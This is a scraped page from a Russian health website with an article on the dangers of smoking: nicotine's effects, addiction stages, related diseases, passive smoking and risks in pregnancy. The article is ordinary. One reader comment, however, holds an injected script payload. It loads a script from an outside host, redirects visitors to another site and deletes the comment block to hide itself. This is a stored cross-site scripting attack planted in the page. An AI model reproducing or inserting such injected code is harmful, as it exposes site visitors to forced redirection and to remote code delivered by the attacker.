Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Опасная привычка: курение  >>  Опасная привычка: курение
 
Обратная связь
 

Опасная привычка: курение

Размер шрифта
10 мая 2012 10:00
Алла Пилунова
Здоровье инфо
  • google_analytics: false
  • Нравится

Курение, безусловно, вредная привычка, к тому же еще и страшно опасная. Какие риски таит в себе курение и можно ли их избежать?

Суть курения

При курении человек вдыхает дым тлеющего табака. От этого процесса страдает не только сам курильщик, но и те, кто находится рядом с ним.

Во время курения основной вред организму наносит никотин, активное вещество табачного дыма, которое практически мгновенно попадает в кровоток через альвеолы легких. Однако кроме никотина человеку вредит и множество других веществ из табачного дыма. Это различные продукты сгорания табачных листьев, а также веществ, используемых при обработке во время производства сигарет. Все они оказывают дополнительное вредное влияние на организм: раздражают органы дыхания, обладают токсическим и канцерогенным действиями.

Стадии привыкания

  • Первые симптомы у начинающих курить: бледность кожи, головокружение, мышечная слабость, расширенные зрачки, активное слюноотделение, низкое артериальное давление, частое сердцебиение. Позже пропадает аппетит и появляется бессонница.
  • Со временем никотин начинает стимулировать некоторые системы организма, например сердечно-сосудистую (подъем АД) и пищеварительную (усиливается отделение желудочного сока, желчи).
  • На последней стадии вырабатывается психическая и физическая зависимость. Человек испытывает постоянную потребность в никотине, которая возрастает при стрессе, интеллектуальной работе или физической усталости.

В ситуации, когда у человека нет возможности покурить, может развиться абстинентный синдром. Человеку сильно хочется курить, он раздражен, неспособен сосредоточиться, не может заснуть, испытывает слабость, головную боль, шум в ушах, боль в сердце, отсутствие аппетита. Продолжительность абстинентного синдрома зависит от «стажа» курения человека.

Опасность курения

Чем так опасно курение? Не только из-за перечисленных выше негативных факторов. Есть еще одна серьезная проблема – последствия курения в виде различных заболеваний. Прежде всего, это болезни дыхательной, сердечно-сосудистой и пищеварительной систем:

  • хронический ларингофарингит, бронхит, пневмосклероз, эмфизема легких, ХОБЛ, бронхиальная астма, рак легких и др.;
  • ишемическая болезнь сердца, гипертония, инфаркт и др.;
  • гастрит, гастродуоденит, язвенная болезнь желудка и двенадцатиперстной кишки и др.

Курение табака оказывает токсическое действие также и на печень, и на желчные пути.

При этом совершенно не имеет значения, курите вы сами, или ваш близкий человек, – действию табачного дыма в одинаковой степени подвержены абсолютно все люди: и курящие, и некурящие. Пассивные курильщики страдают теми же болезнями, что и активные курильщики, правда, у практически здоровых людей эти проблемы возникают гораздо реже.

Наибольший вред курение приносит в случае беременной женщины. Если будущая мать курит, то из-за влияния никотина страдает не столько ее организм, сколько организм еще не родившегося малыша: курение приводит к гипоплазии новорожденного, замедленному физическому и умственному развитию. Курение кормящей матерью повышает риски заболеваемости и смертности ребенка первых лет жизни.

Как избежать опасности

В первую очередь бросить курить.

Есть правила, которые помогут снизить риски:

  • Запретите курить в своем присутствии. Этим вы защитите свое право на чистый воздух.
  • Не разрешайте курить в автомобиле.
  • Не посещайте рестораны или другие общественные места, в которых разрешено курение.

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - Гость

10 мая 2012 в 16:52

Комментарий удален за нарушение Правил общения

2 - Гость

13 мая 2012 в 21:20

Цитировать   |   Пожаловаться

Есть некоторые дополнения здесь

3 - zzzzzz

30 июня 2015 в 23:42

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Статьи

       
Топ-10 мифов о курении   Что хуже: курение или ожирение?   Пассивное курение приводит к ожирению!   Протухшие яйца заставят бросить курить!  
13 июня 2013Перец, как и сигареты, спасает от Паркинсона! 22 мая 2013Дай курильщику лосось – спаси его от рака!
 
06 декабря 2012Теперь бросить курить – проще простого 12 октября 2012Яичный желток опасен для сосудов так же, как курение!
 

Слайдшоу

1
Какие привычки портят вам жизнь?
Что каждая женщина должна знать о ХОБЛ
Как устроить свою жизнь вокруг месячных

Тесты

1
Есть ли у вас остеопороз?
Как контролировать бронхиальную астму
Какая у вас стадия остеохондроза?
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.